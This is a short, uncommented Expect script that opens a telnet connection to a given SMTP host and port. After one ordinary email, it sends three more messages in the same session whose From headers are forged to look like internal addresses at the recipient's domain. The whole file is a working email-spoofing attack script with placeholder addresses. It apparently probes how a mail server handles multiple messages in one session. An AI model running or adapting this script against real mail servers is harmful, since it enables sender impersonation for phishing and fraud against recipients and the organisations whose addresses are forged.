#!/usr/bin/expect set timeout -1 set host [lindex $argv 0] set port [lindex $argv 1] spawn telnet $host $port expect "220" send "HELO $host\r" expect "250" send "MAIL FROM: \r" expect "250" send "RCPT TO: \r" expect "250" send "data\r" expect "354" send "From: duy@validedomain.com\r" sleep 1 send "To: validrecipient@validerecipientdomain.com\r" sleep 1 send "Subject: 1st email\r" sleep 1 send "\r" sleep 1 send "1st email content with many others emails\r" sleep 1 send "\r" sleep 1 send ".\r" sleep 1 send "mail FROM:\r" sleep 1 send "rcpt TO:\r" sleep 1 send "data\r" sleep 1 send "From: spoofedvalidrecipient#1@validerecipientdomain.com\r" sleep 1 send "To: validrecipient#1@validerecipientdomain.com\r" sleep 1 send "Subject: Spoofed email #1\r" sleep 1 send "\r" sleep 1 send "Content of the #1 spoofed email\r" sleep 1 send "\r" sleep 1 send ".\r" sleep 1 send "mail FROM:\r" sleep 1 send "rcpt TO:\r" sleep 1 send "data\r" sleep 1 send "From: spoofedvalidrecipient#2@validerecipientdomain.com\r" sleep 1 send "To: validrecipient#2@validerecipientdomain.com\r" sleep 1 send "Subject: Spoofed email #2\r" sleep 1 send "\r" sleep 1 send "Content of the #2 spoofed email\r" sleep 1 send "\r" sleep 1 send ".\r" sleep 1 send "mail FROM:\r" sleep 1 send "rcpt TO:\r" sleep 1 send "data\r" sleep 1 send "From: spoofedvalidrecipient#3@validerecipientdomain.com\r" sleep 1 send "To: validrecipient#3@validerecipientdomain.com\r" sleep 1 send "Subject: Spoofed email #3\r" sleep 1 send "\r" sleep 1 send "Content of the #3 spoofed email\r" sleep 1 send "\r" sleep 1 send ".\r" sleep 1 send "quit\r"